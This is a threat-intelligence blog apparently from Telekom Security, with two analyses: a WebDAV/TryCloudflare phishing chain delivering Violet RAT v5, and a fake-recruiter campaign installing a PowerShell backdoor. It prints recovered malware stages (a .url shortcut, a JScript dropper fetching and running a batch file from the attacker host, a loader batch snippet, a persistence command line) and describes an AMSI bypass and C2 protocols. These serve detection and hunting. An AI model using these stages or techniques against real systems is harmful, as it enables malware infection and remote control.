Telekom Security

From Dropbox to Violet RAT v5: A Multi-Stage WebDAV Delivery Chain

2026-07-07T00:00:00+00:00

Threat activity clusters rarely remain static over time. Delivery methods, lure formats, and payload choices often change between campaigns, while the underlying tradecraft remains stable enough to support tracking and detection. This report covers activity that Telekom Security tracks as Rodent Weed. We have monitored this cluster since 2024 and across observed campaigns, the first-stage wrapper has varied, including SVG attachments, HTML files, and, more recently, Dropbox links. Some campaigns presented victims with a convincing decoy PDF, while others omitted the decoy entirely. The final payload has also rotated across commodity remote access trojans (RATs) and information stealers.

Despite these variations, the core execution chain has remained consistent. A document-themed lure transitions the victim from the browser to Windows Explorer, where a WebDAV share is accessed via a temporary TryCloudflare tunnel. A shortcut or script then initiates the next stage, batch files prepare the environment, a portable Python runtime is deployed to disk, and the final payload is executed in memory.

Rodent Weed - Cluster Definition and Observed Tradecraft

Rodent Weed is the tracking name Telekom Security uses for a recurring phishing operation observed since 2024. The activity has continued to evolve over time, with changes to lure formats, delivery wrappers, and final payloads. This report represents the latest checkpoint in that ongoing tracking effort.

Across observed campaigns, Rodent Weed has primarily varied the initial wrapper and final payload, while the intermediate staging and execution workflow has remained largely consistent.

In 2024, the activity was observed using SVG attachments as the initial wrapper. These files contained a small amount of Base64-encoded JScript that displayed a decoy PDF and directed the victim to a WebDAV share opened in Windows Explorer. From there, a .pdf.lnk file using an invoice-themed filename downloaded Python and executed the payload. In early 2025, the operator introduced new wrapper formats in quick succession. One campaign used an HTML file assessed as likely abusing CVE-2024-38213 to bypass Mark-of-the-Web protections before reaching a similar WebDAV share and deploying both DcRAT and AsyncRAT. Another campaign used a ZIP archive containing a .url shortcut, which led through a .pdf.lnk file and VBScript before delivering XWorm and AsyncRAT.

By mid-2025, Dropbox began appearing as the hosting infrastructure, while the campaigns continued to rotate across commodity RAT payloads.

By December 2025 the chain had grown an extra hop or two, a Dropbox .pdf.zip opening a .pdf.lnk, then a .wsh, a .wsf, VBScript, and a batch loader, and it finished by dropping four binaries at once, a stealer, two copies of XWorm, and AsyncRAT. In March 2026 a Telekom-themed wave put a convincing decoy PDF back in front of the victim and labelled its payloads by role, stager, startup, and malware.

Across these waves, the intermediate staging and execution workflow remained largely consistent. Explorer opens a WebDAV share over a TryCloudflare tunnel, a script and batch chain unrolls, a portable Python runtime lands, and Donut runs the real payload in memory. Only the wrapper and the final RAT typically change.

This recurring pattern is also visible outside our own telemetry. Other vendors have independently documented overlapping delivery chains over the past year. Forcepoint X-Labs described the Dropbox to TryCloudflare WebDAV to Python variant in early 2025. Trend Micro published a multi-stage analysis in January 2026 that lines up closely with what we have seen, though we did not observe the browser cookie injection they reported. This difference reinforces that individual waves can vary in implementation details. Securonix documented the embedded Python loader and in-memory injection into explorer.exe under the name VOID#GEIST, and SonicWall analyzed a Violet RAT campaign built on the same multi-stage Python loader, calling home on the same C2 port we observed here. Links are in Related reporting.

Key Observations

The campaign analyzed in this report was observed in late March 2026 and used Telekom invoice-themed phishing emails to deliver Violet RAT v5. The execution chain from initial lure to C2 communication is described below.

The victim received a phishing email containing a link to a Dropbox-hosted ZIP archive, which contained a single Windows Internet Shortcut (.url). When opened, the shortcut directed Windows Explorer to a WebDAV share exposed through a temporary TryCloudflare tunnel, where a PDF-disguised shortcut initiated the next stage of execution. From that point, the chain progressed through Windows Script Host (WSH), JScript, batch files, an embedded Python runtime including a Python loader, and Donut-based injection into explorer.exe.

The Python loader established persistence via the Startup folder and ultimately delivered Violet RAT v5, which connected to 91.219.238[.]140:7000, transmitted an encrypted system profile, and then entered a recurring heartbeat loop.

Two aspects distinguish this case from previous waves. First, the final payload is Violet RAT v5, marking the first time we have observed this RAT at the end of a Rodent Weed execution chain. Second, the decoy PDF is absent. Earlier Telekom-themed campaigns usually opened a convincing decoy PDF to reduce suspicion while the chain ran, as recently as the February wave. Instead of presenting a benign-looking PDF, the analyzed case proceeds directly to the next execution stage after the victim opens the shortcut. Despite this behavioural change, the subsequent execution chain remained consistent with previously observed Rodent Weed activity.

One detail is worth flagging early. The phishing email used a Telekom-themed lure, while the file hosted on the WebDAV share was named DKM_00KS0095283.PDF.lnk. Previous Rodent Weed analysis has also identified filenames that did not align with the lure theme, including a DATEV-themed filename for example DATEV-Rechnung-Nr.381082026.wsh. It suggests the operator reused the same infrastructure and file set across more than one lure.

Figure 1 summarizes the observed infection chain, from the initial Telekom-themed lure to Violet RAT v5 execution and C2 communication.

Figure 1. Infection chain, from phishing lure to Violet RAT v5

Chain of Execution

From the invoice mail to a WebDAV folder

The observed email impersonated Deutsche Telekom with an invoice lure and link to a ZIP archive (Telekom_3426503572.zip) hosted on Dropbox. The archive did not contain an invoice but a single Windows Internet Shortcut file (.url), leaving the victim with only one visible item which further reinforced the appearance that a document had been delivered.

Subject: Ihre Telekom Festnetz-Rechnung Oktober 2025 (Buchungskonto:5605355625)
Sender: Telekom Deutschland GmbH {NoReply} <brendawolfe403[@]gasatmail[.]site>

Figure 2 shows the observed Telekom-themed phishing email, which included fabricated invoice-related identifiers such as customer and invoice numbers to increase credibility. These lure-specific values are redacted in the screenshot.

Figure 2. Telekom-themed phishing email that started the analyzed chain

The .url file pointed to a WebDAV resource using the Windows file:// URL format and the @SSL suffix.

[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
[InternetShortcut]
IDList=
HotKey=0
URL=file://move-friendly-international-observed.trycloudflare[.]com@SSL/DavWWWRoot/dokumente?config=eyJwYXRoIjoiY29uZmlkZW50aWFsIiwibW9kZSI6InJlYWQifQ%3D%3D

File 1. Telekom_3426503572.url

The URL also included a Base64-encoded JSON parameter.

{"path":"confidential","mode":"read"}

This parameter does not appear to be required for standard WebDAV access. Based on the observed behaviour, it is likely decorative, operator-specific, or intended as light obfuscation.

The important part is how the chain reduces user suspicion and avoids browser-mediated download handling. The victim never lands on a normal web page. Windows Explorer opens the remote WebDAV location and presents it as if it were an ordinary folder. The cloud link is presented as a local-looking file browser, while browser-mediated download prompts and reputation checks are less visible to the victim.

Hosting the share behind trycloudflare.com lets the operator expose a backend service over a temporary HTTPS tunnel without ever registering their own domain. Blocking the resolved Cloudflare edge IPs is not recommended, as this is unlikely to remain effective and may disrupt unrelated legitimate services that rely on the same shared Cloudflare infrastructure. Domain pattern, URL pattern, WebDAV, and process chain detections are far more durable. During manual analysis, the WebDAV endpoint exposed a directory listing, as shown in Figure 3. This allowed the hosted files to be reviewed directly before reconstructing the subsequent execution chain.

Figure 3. WebDAV directory listing observed during manual analysis

The PDF disguised as a shortcut

The WebDAV share presented a single visible file, DKM_00KS0095283.PDF.lnk. The name and icon were chosen to look like a PDF document but instead it was a Windows Shortcut that executed wscript.exe to run a JScript file hosted on the same WebDAV folder. Separately, the same TryCloudflare-backed WebDAV infrastructure also exposed additional files in the parent directory. Figure 4 shows this parent directory view, which was reviewed during manual analysis and helped identify files used by later stages of the chain.

Figure 4. Parent WebDAV directory exposing additional files used in the execution chain

The shortcut metadata confirms that the apparent PDF was built to invoke Windows Script Host and execute a remote script from the same WebDAV location.

Relevant shortcut metadata

Field	Value	Interpretation
Arguments	`//B \\move-friendly-international-observed.trycloudflare[.]com@SSL\DavWWWRoot\oa.wsh`	Executes a WSH file from WebDAV
Icon index	`11`	Visual masquerading as a PDF
Working directory	`C:\Windows\System32`	Ensures `wscript.exe` resolves correctly
Machine ID	`ec2amaz-vjnf8l9`	Consistent with an AWS EC2 Windows hostname pattern

The machine ID may provide a useful pivot point for further investigation. However, as it can be manipulated, it should be considered a low-confidence indicator. We currently have no supporting data to validate or correlate this identifier with other artefacts.

A short hop through WSH and JScript

The first script stage was oa.wsh, a small redirection layer that simply pointed to ccv.js on the same WebDAV share.

[ScriptFile]
Path=\\move-friendly-international-observed.trycloudflare[.]com@SSL\DavWWWRoot\ccv.js
[Options]
Timeout=0

File 2. oa.wsh

This redirection keeps the shortcut command line concise and separates the primary execution logic from the LNK file. The ccv.js script then used Windows Script Host automation objects to copy final.bat from the WebDAV share to the local temporary directory and execute it in a hidden window.

with(new ActiveXObject("WScript.Shell")) {
   var target = ExpandEnvironmentStrings("%TEMP%\\r.bat");
   new ActiveXObject("Scripting.FileSystemObject").CopyFile(
       "\\\\move-friendly-international-observed.trycloudflare[.]com@SSL\\DavWWWRoot\\final.bat",
       target);
   Run("\"" + target + "\"", 0);
}

File 3. ccv.js

By this point the process chain looks like this, which is itself a useful detection trail.

explorer.exe
  -> wscript.exe
    -> ccv.js from WebDAV
      -> %TEMP%\r.bat

Batch staging and a portable Python runtime

final.bat relaunched itself hidden through PowerShell and created its working directory in %APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\ as shown in the code snippet below.

@echo off
if "%~1"=="hidden" goto main
powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -ArgumentList 'hidden' -WindowStyle Hidden"
exit

:main
set PYTHON_VERSION=3.11.8
set ARCH=amd64
set "BASEDIR=%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache"
if not exist "%BASEDIR%" mkdir "%BASEDIR%"
set ZIPFILE=%BASEDIR%\python_embed.zip
set PACKAGE_ZIP=%BASEDIR%\files.zip
set PERSISTENCE_SCRIPT=%BASEDIR%\add_to_startup.bat
set GETPIP=%BASEDIR%\get-pip.py
set LOGFILE=%BASEDIR%\setup.log
set SERVER_URL=https://move-friendly-international-observed.trycloudflare.com
set PACKAGE_FILE=files.zip
set PERSISTENCE_FILE=add_to_startup.bat
set PYTHON_URL=https://www.python.org/ftp/python/%PYTHON_VERSION%/python-%PYTHON_VERSION%-embed-%ARCH%.zip
set GETPIP_URL=https://bootstrap.pypa.io/get-pip.py
......

File 4. final.bat Snippet

The path is writable by the user but resembles legitimate Windows cryptographic storage, which makes it a convenient place to hide in plain sight. From there the loader installed a portable Python 3.11.8 runtime, installed the dependencies it needed, downloaded the encrypted payload package, and executed encrypted_loader.py.

These files ended up in the staging directory.

File	Purpose
`encrypted_loader.py`	Python shellcode loader
`as_encrypted.bin`	AES CBC encrypted shellcode
`as_key.bin`	32 byte AES key followed by a 16 byte IV
`setup.log`	Execution log written by the loader chain

Artifacts Created During Loader Execution

One of the more useful artefacts recovered during sandbox analysis was setup.log, written to the staging directory.

%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log

The log ties the whole chain together. It records the setup of the embedded Python environment, the installation of dependencies, the extraction of the loader package, the download of the persistence script, and the final execution of encrypted_loader.py against as_encrypted.bin with explorer.exe as the injection target.

========================================
Execution started: Thu 04/07/2026 14:09:40.69
Working directory: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache
========================================

[+] Downloading Python...
[+] Extracting Python...
[DEBUG] Current directory: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache
[+] Installing pip...
[+] Installing psutil...
[+] Installing cryptography...
[+] Installing pyaes...

[+] Downloading loader package...
[+] Extracting package...

[+] Downloading persistence script...

[+] Checking files...
[+] All files found:
   - encrypted_loader.py
   - as_encrypted.bin
   - as_key.bin
[!] WARNING: Key file is 48 bytes (expected 48)

[+] Running loader...
Command: python encrypted_loader.py -f as_encrypted.bin explorer.exe
Execution start: 14:10:23.83
Execution end: 14:10:28.99
Exit code: 0
[+] SUCCESS: Shellcode execution completed!

File 5. setup.log

For defenders, the verbose logging is valuable, confirming that Python was downloaded, dependencies were installed, the package was extracted, persistence was staged, and shellcode execution finished with exit code 0.

Persistence

Persistence was established through the current user’s Startup folder.

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk

The shortcut launched cmd.exe, changed into the staging directory, and ran the Python loader again. No registry Run key persistence was observed in this execution chain. Persistence was file-based and limited to the user profile.

Operating System      : Windows 8.1, 10
Target File Name      : cmd.exe
Description           : Windows Crypto Loader
Relative Path         : ..\..\..\..\..\..\..\..\..\Windows\system32\cmd.exe
Command Line Arguments: /c cd /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache" && start /b python.exe encrypted_loader.py -f as_encrypted.bin explorer.exe

Output 1. ExifTool excerpt - CryptoLoader.lnk

Decryption and injection into explorer.exe

encrypted_loader.py read two local files, the AES CBC encrypted shellcode in as_encrypted.bin and the key material in as_key.bin (the 32 byte key plus 16 byte IV). After decryption, the loader identified the running explorer.exe process and used standard Windows process injection APIs, allocating remote memory, writing the process memory, and creating a remote thread.

The decrypted shellcode was identified as a Donut payload, which loaded the embedded Violet RAT v5 .NET assembly directly into memory. Donut is a shellcode generator commonly used to execute .NET assemblies and other payloads in-memory without writing the final stage to disk. To inspect and extract the embedded payload, we used the donut-decryptor tool published by Volexity.

Violet RAT v5 as the final payload

The decompiled Violet RAT v5 stub contained several high-signal artifacts.

Artifact	Value
C2 IP	`91.219.238[.]140`
C2 port	`7000/TCP`
Internal version	`Violet v5`
Mutex	`LApYAYSFOShHukHW`
Protocol delimiter	`<Violet>`
C2 packet label	`INFO`
Heartbeat	Client sends `PING?`, server responds `PING!`
C2 encryption	AES/Rijndael ECB using a key derived from `XSXSXSX`
XOR key	`TIeuNzM`

The initial C2 message contained a full system profile, including user name, operating system, privilege state, antivirus status, and the internal RAT version. The observed decrypted traffic confirmed successful communication with the C2 server during analysis.

The client to server message looked like this.

INFO<Violet>XXXXXXXXXXXXXXXXXXXX<Violet>Admin<Violet>Windows 11 Pro 64bit<Violet>Violet v5
<Violet>22/03/2022<Violet>True<Violet>False<Violet>None<Violet>Nothing<Violet>Nothing

Subsequent outbound traffic was the periodic heartbeat, PING? from the client answered with PING! from the server. The date value 22/03/2022 in the decrypted client profile appears to reflect host-derived operating system installation information and should not be interpreted as a campaign timestamp.

Violet RAT v5 is advertised as a commercial remote administration tool by the developer using the handle @n0xi0s, on websites such as violetrat[.]net and violetsoftware[.]net. Although the author presents Violet RAT v5 as dual-use software, its functionality aligns more closely with an offensive remote access tool than with legitimate administrative tooling. In the campaign analyzed here, Violet RAT v5 was used as the final payload in a phishing-driven malware chain.

Detection and hunting opportunities

The observed execution chain provides defenders with several hunting opportunities across network, host, and filesystem telemetry. The most durable detections are behavioural. Single domains and IP addresses change quickly, but the behavioural sequence from shortcut execution to WebDAV access, script staging, Python execution, and process injection is harder to replace without reworking the operation.

Network

Connections to 91.219.238[.]140:7000/TCP
Access to *.trycloudflare.com using WebDAV-style paths
Windows clients accessing DavWWWRoot over HTTPS from Explorer or script hosts
Dropbox downloads followed by .url or .lnk execution

Host

High signal process patterns

explorer.exe -> wscript.exe
wscript.exe -> cmd.exe
wscript.exe -> powershell.exe
cmd.exe -> powershell.exe -WindowStyle Hidden
cmd.exe -> python.exe
python.exe -> explorer.exe injection indicators

Additional behavioural detections

.url files opening remote file:// paths with @SSL and DavWWWRoot
.lnk files with PDF masquerading that execute wscript.exe
Script execution from WebDAV UNC paths
Portable Python runtimes installed below user-writable directories that resemble Windows system paths
Startup folder shortcuts launching command interpreters or Python loaders
Remote thread creation into explorer.exe from a Python process

Filesystem

Observed paths and files

%TEMP%\r.bat
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\encrypted_loader.py
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_encrypted.bin
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_key.bin
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk

ATT&CK techniques

Tactic	Technique	Observed behaviour	Detection idea
Initial Access	Phishing: Spearphishing Link (T1566.002)	Telekom invoice lure delivered a Dropbox link to a ZIP archive	Cloud links delivering shortcut files or document-themed archives
Execution	User Execution: Malicious Link (T1204.001)	Victim opened a `.url` file that reached WebDAV	`.url` execution opening remote `file://` paths
Execution	User Execution: Malicious File (T1204.002)	Victim opened a PDF-themed `.lnk` file	`.lnk` files with document extensions and script interpreter targets
Execution	Command and Scripting Interpreter: JScript (T1059.007)	JScript ran through WSH	`wscript.exe` or `cscript.exe` launched from WebDAV or user-writable paths
Execution	Command and Scripting Interpreter: Windows Command Shell (T1059.003)	Batch scripts launched the next stage	`cmd.exe` spawning interpreters or scripts from user-writable directories
Execution	Command and Scripting Interpreter: PowerShell (T1059.001)	PowerShell was used during the chain	`powershell.exe` with encoded or download commands spawned by scripts
Execution	Command and Scripting Interpreter: Python (T1059.006)	A Python runtime ran the loader	`python.exe` running scripts from `%APPDATA%` or temp
Command and Control	Ingress Tool Transfer (T1105)	Payload components were retrieved from WebDAV and public hosting during execution	Downloads of portable Python followed by script execution from user-writable paths
Defense Evasion	Masquerading: Double File Extension (T1036.007)	`DKM_00KS0095283.PDF.lnk` used a `.PDF.lnk` double extension	Files with double extensions such as `.pdf.lnk` or `.pdf.exe`
Defense Evasion	Masquerading: Masquerade File Type (T1036.008)	The `.lnk` used a PDF-themed name and icon	Shortcut or executable files using document icons
Persistence	Boot or Logon Autostart Execution: Startup Folder (T1547.001)	`CryptoLoader.lnk` was placed in the user’s Startup folder	Startup shortcuts launching `cmd.exe`, Python, or scripts from `%APPDATA%`
Defense Evasion	Deobfuscate/Decode Files or Information (T1140)	AES encrypted shellcode was decrypted locally using `as_key.bin`	Encrypted payload plus separate key material in suspicious user paths
Defense Evasion	Reflective Code Loading (T1620)	Donut loaded the embedded .NET assembly in-memory	Memory loaded .NET payloads with no final executable on disk
Defense Evasion	Process Injection (T1055)	Python loader injected Donut packed shellcode into `explorer.exe`	Python process using remote memory operations against Explorer
Command and Control	Non-Standard Port (T1571)	Violet RAT v5 connected to `91.219.238[.]140:7000`	Outbound TCP to uncommon ports from user workstations
Command and Control	Encrypted Channel (T1573)	Violet RAT v5 used encrypted C2 messages and heartbeat traffic	Repeated encrypted traffic with stable timing to an unusual destination

Recommendations

Hunt for execution through WebDAV from .url and .lnk files, especially paths using DavWWWRoot and *.trycloudflare.com.
Monitor script chains involving wscript.exe, cscript.exe, powershell.exe, cmd.exe, and portable Python runtimes launched from user-writable directories.
Detect persistence through Startup folder shortcuts that launch cmd.exe, Python, or scripts from %APPDATA%.
Hunt for the staging directory %APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\ and the filenames listed in the IOC section.
Block or monitor the observed C2 endpoint and related delivery infrastructure.
Treat cloud hosted archives that contain shortcut files as high risk, especially when paired with invoice themed social engineering.

Indicators of compromise

Network

Type	Value
C2 IP	`91.219.238[.]140`
C2 port	`7000/TCP`
Delivery URL	`hxxps://www.dropbox[.]com/scl/fi/rictefq1kw3lam7yvm8vz/Telekom_3426503572.zip`
WebDAV delivery domain	`move-friendly-international-observed.trycloudflare[.]com`
Payload package	`move-friendly-international-observed.trycloudflare[.]com/files.zip`

Files and paths

Type	Value
Delivery archive	`Telekom_3426503572.zip`
URL shortcut	`Telekom_3426503572.url`
Fake PDF LNK	`DKM_00KS0095283.PDF.lnk`
Temporary batch file	`%TEMP%\r.bat`
Staging directory	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\`
Setup log	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log`
Encrypted payload	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_encrypted.bin`
Key file	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_key.bin`
Loader script	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\encrypted_loader.py`
Persistence shortcut	`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk`

Code-level artefacts

Type	Value
RAT mutex	`LApYAYSFOShHukHW`
Protocol delimiter	`<Violet>`
Internal version	`Violet v5`
AES key basis	`XSXSXSX`
XOR key	`TIeuNzM`

SHA256 hashes

Filename	SHA256
`Telekom_3426503572.zip`	`ba21ce348f8efda5a17fe7d52c123f4a272534b848f90dd12e702410bc0266d4`
`Telekom_3426503572.url`	`500ce5d0604f42137795bed1a03837e9fab1055c8db0b6ea5d7c6d64c5aa633a`
`DKM_00KS0095283.PDF.lnk`	`da55783ca9c4098e5ea47e33507bd38ae9851b6617b574d1fa294a6205cb143e`
`oa.wsh`	`e57fa4c2b241a133e349758630f3fc0b9dae8055268452d9b28c98638894ffea`
`ccv.js`	`0ddf4cfc3227294b849819d354479fcac848d85e881ae20014608554caf10cd9`
`final.bat`	`a78b29252a7954b588392b952b970da7ddb760cec7320ac4e8a50f79a8cf8f9b`
`add_to_startup.bat`	`717bb7be812fe4f57d4b7f1add1654b8a2dfb6063bd616cc26748039f247c43f`
`encrypted_loader.py`	`4a510219ffc0f5bc4acdf6e33d80d85d88155d88049cedaa00aaa9eed8051a3f`
`as_encrypted.bin`	`869b721401fd595867ea3320a2709d100751f8f9d25f8a59cc28af7169325131`
`as_key.bin`	`0c775d9263fff22c04d75d12b0a5d1a5b73c5a787a7dcdd34fabccdf9e0a0fe5`
`files.zip`	`a9ebfd647cb5930c3a19c3fd66f103c06019f43aa53b8d309d31682514a9cd60`
`as.dll`	`978a54a42629e0d19ef41bd5db7e560d618e1fdcc8e77c14694642840dfad8a2`
`payload.dat`	`f79b8924f58b1e98d221dfde52c4b1572dba251bbe65cd8bd44d342d70766a88`
`CryptoLoader.lnk`	`b0e033b35c17643a1d5a99b09cc43a9f0b83ab9c1ad0369f0e98f0745768ff87`

A machine-readable IOC file is available in the Telekom Security malware analysis repository.

Appendix

Scope and confidence

This report is based on static analysis, sandbox execution, decrypted network traffic, and review of recovered files from the delivery infrastructure.

Analyzed artifacts

Artefact	Type
`Telekom_3426503572.zip`	Phishing delivery archive
`Telekom_3426503572.url`	Windows Internet Shortcut
`DKM_00KS0095283.PDF.lnk`	Windows Shortcut
WebDAV share snapshot	Delivery infrastructure
`oa.wsh`, `ccv.js`, `final.bat`, `add_to_startup.bat`	Script stages
`encrypted_loader.py`	Python shellcode injector
`as_encrypted.bin`, `as_key.bin`	Encrypted payload and key material
Decompiled .NET assembly	Violet RAT v5 stub

Timeline

Date	Observation
2025-10-15	LNK metadata timestamps observed in `DKM_00KS0095283.PDF.lnk`. Reliability should be treated as limited
2026-01-20	`encrypted_loader.py` last modified timestamp observed in recovered package
2026-03-23	Payload and staging artefacts observed on WebDAV infrastructure
2026-03-24	`Telekom_3426503572.url` and ZIP delivery artefacts observed. First phishing email observed
Early April 2026	Phishing emails became available for analysis, and deeper technical analysis of the Violet RAT v5 campaign began

The reports below describe related tooling or overlapping tradecraft, and together they show how long this delivery pattern has been in circulation. They are useful context, not proof that every case belongs to the same actor or campaign.

Forcepoint X-Labs, January 2025. Dropbox, TryCloudflare WebDAV, and Python staging delivering AsyncRAT. forcepoint.com
Deutsche Telekom CERT, September 2025. Earlier public Rodent Weed reference. x.com/DTCERT
Trend Micro, January 2026. Multi-stage AsyncRAT campaign via MDR, covering Dropbox, TryCloudflare, WebDAV, embedded Python, Startup persistence, and Explorer injection. trendmicro.com
SonicWall, February 2026. Violet RAT campaign using a multi-stage Python loader and shellcode injection. sonicwall.com
Securonix, February 2026. VOID#GEIST, a Python loader with embedded runtime, encrypted RAT payloads, Startup persistence, and in-memory execution. securonix.com

ZipLine-linked spearphishing campaign uses PowerShell backdoor and Cloudflare Tunnel

2026-06-11T00:00:00+00:00

Telekom Security investigated a spearphishing campaign targeting organizations in several European countries. The campaign ultimately enables follow-on activity that, in at least one observed case, led to the deployment of Qilin ransomware. We are aware of multiple affected companies across different countries, most of them located in Austria. Not all of these organizations were encrypted, but at least one became a victim of Qilin ransomware. We assess this activity to be related to the ZipLine campaign, which was uncovered by Check Point Research in August 2025. While there are some differences in the current activity, the overall tradecraft shows multiple similarities, as described throughout this blog post.

For initial access, the attackers send targeted spearphishing emails containing a fake job offer and impersonating a legitimate recruiting agency. If the recipient shows interest, the attackers send a follow-up mail containing a URL that leads to the download of malware. The delivered malware is a .LNK file containing embedded PowerShell code. It installs a small PowerShell backdoor that allows the attacker to execute arbitrary commands on the affected system and stage additional payloads. We also observed the actor using Cloudflare Tunnel to hide potentially suspicious network traffic at compromised environments.

Attack description

Spearphishing emails

The actor sent well-crafted emails to a small number of recipients. The initial email did not contain any malicious attachment or link. Instead, it contained German-language text in which the sender claimed to represent a recruiting agency offered information about a potential interesting job opportunity.

Figure 1: Initial email with job offer

The domain alpentalent[.]at, used in this case, is one of several domains created by the attacker for this stage of the campaign. In addition to domains already known from earlier activity, we identified at least one additional domain associated with this campaign.

If victims visited the website, they were presented with a complete website designed to resemble a legitimate recruiting agency. The second domain we observed in this campaign, steinersearch[.]at, followed the same pattern. The actor appears to reuse an HTML template with only minor variations. The page structure and most of the text are similar across domains, while the visual design differs slightly.

Figure 2: Alpentalent fake website

Figure 3: SteinerSearch fake website

CERT.at recently reported multiple additional domains, indicating the campaign is still ongoing.

Once the victim replied to the email and expressed interest in receiving more information about the job opportunity, the actor sent a follow-up message. This message attempted to trick the victim into downloading a ZIP archive from a herokuapp[.]com subdomain.

Backdoor

The downloaded ZIP archive follows the naming pattern:

Dienstangebot_<LAST NAME>_<FIRST LETTER FIRST NAME>_<DATE>.zip

Following this pattern, we leveraged third-party telemetry to identify multiple files associated with the campaign, indicating with moderate confidence that the activity most likely began in mid-March 2026.

The archive contains two decoy Microsoft Word documents and a malicious .LNK file using a .docx.lnk double extension. In our case, the decoy documents contained information about alleged job opportunities at the German company Rossmann.

Figure 4: “Become part of Rossmann Austria” - decoy document with job information

Unlike the .LNK file, the two Microsoft Word documents do not contain malware. They are used solely as decoys to distract the victim.

The .LNK file executes a short but obfuscated PowerShell script. After deobfuscation, the script performs the following actions:

Searches for the original ZIP archive in these Locations:
- Downloads
- Documents
- Desktop
If the ZIP archive does not exist in one of these locations, or if the victim saved the downloaded file elsewhere, the malware stops execution.
Performs an AMSI bypass by replacing the AmsiUtils.ScanContent method pointer with a method pointer to a benign PowerShell method created solely for this purpose.
Reads the original downloaded ZIP archive as a raw file, searches for the marker string SwbWu, and extracts another PowerShell snippet hidden after this marker. The archive is not parsed as a ZIP container at this stage. The hidden snippet can be viewed and extracted with a hex editor.
- Executes the extracted PowerShell snippet.

Figure 5: Hex view of the ZIP archive. The marker string and PowerShell code are highlighted.

The content hidden inside the ZIP archive is the actual backdoor. Its capabilities are limited, but sufficient for an attacker to steal data or download additional payloads, or execute follow-on malware such as ransomware.

The backdoor performs the following actions:

Extracts the contents of the original ZIP archive to
```
%LOCALAPPDATA%\<ARCHIV FILENAME>
```
Opens the decoy document ROSSMANN_Kandidatenbrochure.docx to distract the victim.
Creates a scheduled task that runs every day at 11:00. This task executes the .LNK file and serves as the persistence mechanism. The name of the scheduled task is
```
<VICTIM-ID>c582
```
Creates a victim fingerprint:
- Victim ID: CRC32 of the value from
```
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
```
- Campaign ID: CRC32 of the original ZIP archive
Creates a Mutex named:
```
Global\<VictimID>
```
Constructs a domain name later used as the command and control server for the backdoor. This domain is also a herokuapp[.]com-subdomain.

Communicates with the C2 server using the following URL pattern:

https://*[.]herokuapp[.]com/<VictimID>c582<xor_hex(VictimID, "[]0")><unix_timestamp_hex><random_hex>

Requests this URL every four to six minutes. The HTTP response is decrypted using XOR with the Victim ID as the key and then evaluated.
Uses the following User-Agent string for C2 communication:
```
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
```
This is a valid User-Agent string for Google Chrome on Microsoft Windows 10. Chrome version 140 was published in September 2025.

The backdoor supports three C2 command types:

Command	Description
`#KILL`	Deletes the scheduled task and the malware directory.
`#HOST#<NEW_HOST>`	Defines a new C2 server.
Any other response	Interpreted and executed as PowerShell code

Cloudflare Tunnel

After the backdoor has been installed, the actor can execute arbitrary PowerShell code on the affected system. This creates opportunities for data theft, payload deployment, lateral movement, and ransomware staging.

In this campaign, we observed the actor installing Cloudflare Tunnel to hide suspicious network traffic and enable remote access.

Cloudflare Tunnel is a legitimate technology used to expose local services such as HTTP, SSH, or Remote Desktop via the Cloudflare network. It can also be used to make private networks accessible through a tunnel connection, for example by using WARP routing. In an intrusion context, this gives an attacker several options to interact with compromised systems while blending into traffic to a legitimate cloud provider.

For this setup, the attacker only needs the cloudflared executable, which is the server-side daemon used to connect a local service to the Cloudflare network.

In the observed case, the following artifacts were left on disk:

\Users\<USERNAME>\AppData\Local\Temp\cf

The directory contained:

cloudflared.exe
cert.pem, used for authentication
config.yaml, the tunnel configuration file
<TUNNEL ID>.json, the tunnel credentials file, perhaps multiple of them
An error log file, if errors occurred

These artifacts are valuable for forensic analysis, as they can help determine how the tunnel was configured and how it may have been used by the actor.

Conclusion

The observed activity demonstrates how a convincing spearphishing lure can develop into a ransomware-relevant intrusion path. The actor uses fake recruiting agencies, tailored job offers, decoy documents, and a lightweight PowerShell backdoor to establish initial access and maintain persistence.

While the malware itself is not complex, it provides the attacker with enough flexibility to execute arbitrary PowerShell code, deploy additional tools, and prepare follow-up activity. In at least one observed case, this attack chain ultimately led to Qilin ransomware deployment.

The campaign also shows the continued abuse of legitimate cloud services and tunneling technologies. Heroku-hosted infrastructure and Cloudflare Tunnel can make malicious activity harder to distinguish from normal cloud traffic, which increases the importance of behavioral detection and forensic artifact analysis.

Defenders should monitor for PowerShell execution from shortcut files, unusual scheduled tasks, unexpected cloudflared executions, and network connections to known attacker-controlled cloud infrastructure. The following section provides additional details to support hunting, investigation, and response.

Appendix

IOCs

Type	Value	Description
Domain	`alpentalent[.]at`	Phishing-Domain
Domain	`steinersearch[.]at`	Phishing-Domain
Domain	`headmatch[.]at`	Phishing-Domain
Domain	`vertrag-hm-ref3154-7e89a2ad95ad[.]herokuapp[.]com`	ZIP archive download domain
Domain	`sched-729-fdfd12d20ba1[.]herokuapp[.]com`	C2 domain
